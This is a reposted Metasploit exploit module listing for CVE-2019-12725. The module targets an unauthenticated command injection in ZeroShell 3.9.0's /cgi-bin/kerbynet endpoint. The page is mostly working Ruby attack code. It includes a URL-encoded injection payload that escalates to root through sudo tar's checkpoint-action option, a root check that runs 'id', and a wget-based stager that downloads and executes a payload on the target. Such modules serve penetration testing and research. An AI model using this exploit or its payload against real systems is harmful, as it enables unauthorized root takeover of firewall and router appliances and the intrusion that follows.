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ZeroShell 3.9.0 Remote Command Execution

ZeroShell 3.9.0 Remote Command Execution
Posted Nov 24, 2020
Authored by Juan Manuel Fernandez | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability found in ZeroShell version 3.9.0 in the "/cgi-bin/kerbynet" url. As sudo is configured to execute /bin/tar without a password (NOPASSWD) it is possible to run root commands using the "checkpoint" tar options.

tags | exploit, cgi, root
advisories | CVE-2019-12725
SHA-256 | e52e0c15527e1e5b23e1a5f32e17df46f22d8f0dc8643606d04c891cd43c603d

ZeroShell 3.9.0 Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Zeroshell 3.9.0 Remote Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability
found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
As sudo is configured to execute /bin/tar without a password (NOPASSWD)
it is possible to run root commands using the "checkpoint" tar options.
},
'Author' => [
'Juan Manuel Fernandez', # Vulnerability discovery
'Giuseppe Fuggiano <giuseppe[dot]fuggiano[at]gmail.com>', # Metasploit module
],
'References' => [
['CVE', '2019-12725'],
['URL', 'https://www.tarlogic.com/advisories/zeroshell-rce-root.txt'],
['URL', 'https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py']
],
'DisclosureDate' => 'Jul 17 2019',
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_X86 ],
'Targets' => [
['Zeroshell 3.9.0 (x86)', {
'Platform' => 'linux',
'Arch' => ARCH_X86,
}],
],
'DefaultTarget' => 0,
))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
])
end

def execute_command(cmd, opts = {})
command_payload = "%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22#{filter_bad_chars(cmd)}%22%0A%27"

print_status("Sending stager payload...")

res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/kerbynet',
'encode_params' => false,
'vars_get' => {
'Action' => 'x509view',
'Section' => 'NoAuthREQ',
'User' => '',
'x509type' => command_payload
}
)

return res
end

def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
cmd.gsub!(/;/, " %0A ")
cmd.gsub!(/ /, '+')
cmd.gsub!(/\//, '%2F')
return cmd
end

def check
res = execute_command('id')
if res && res.body.include?("uid=0(root)")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def exploit
print_status("Exploiting...")
execute_cmdstager(flavor: :wget, delay: 5)
end

end
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